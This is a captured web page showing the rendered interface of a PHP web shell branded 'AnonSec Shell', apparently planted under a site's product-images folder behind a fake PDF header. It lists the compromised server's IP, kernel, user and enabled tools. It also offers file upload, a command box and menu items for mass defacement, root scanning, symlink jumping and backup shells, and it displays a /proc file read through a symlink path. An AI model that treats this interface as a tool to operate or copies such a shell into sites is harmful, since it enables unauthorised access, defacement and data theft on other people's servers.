%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj < AnonSec Shell
AnonSec Shell
Server IP : 212.252.79.165  /  Your IP : 216.73.217.172   [ Reverse IP ]
Web Server : Apache
System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
User : cehaburo ( 1001)
PHP Version : 8.1.33
Disable Function : exec,passthru,shell_exec,system
Domains : 48 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/cehaburo/public_html/images/product/anon_sym/anon/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cehaburo/public_html/images/product/anon_sym/anon/proc//softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       
          HI:          0          0          0          0          0          0          0          0
       TIMER:   22585388  146371892   52930357   29618595   27599476   29462440   96233681   28072127
      NET_TX:        548        779        771        751        939        794        879     504655
      NET_RX:   26164578   25909069  139616861   41553130  117533750   44111314   25675180   45434987
       BLOCK:    3623440    5144048    4548226    4339499    4328148    4483938    4506766    4252249
    IRQ_POLL:          0          0          0          0          0          0          0          0
     TASKLET:    2797285    2813059    2958795    3029588    2882862    3818228    3212257    3885596
       SCHED:   36988047   83458425   46731184   36867259   35224844   36903298   61026493   35961073
     HRTIMER:       2560       1820       3261       6947      18282       5606       4196       5496
         RCU:   95585030  139046398  116530342  108154405  103770700  103015828  116446141  100225401

Anon7 - 2022
AnonSec Team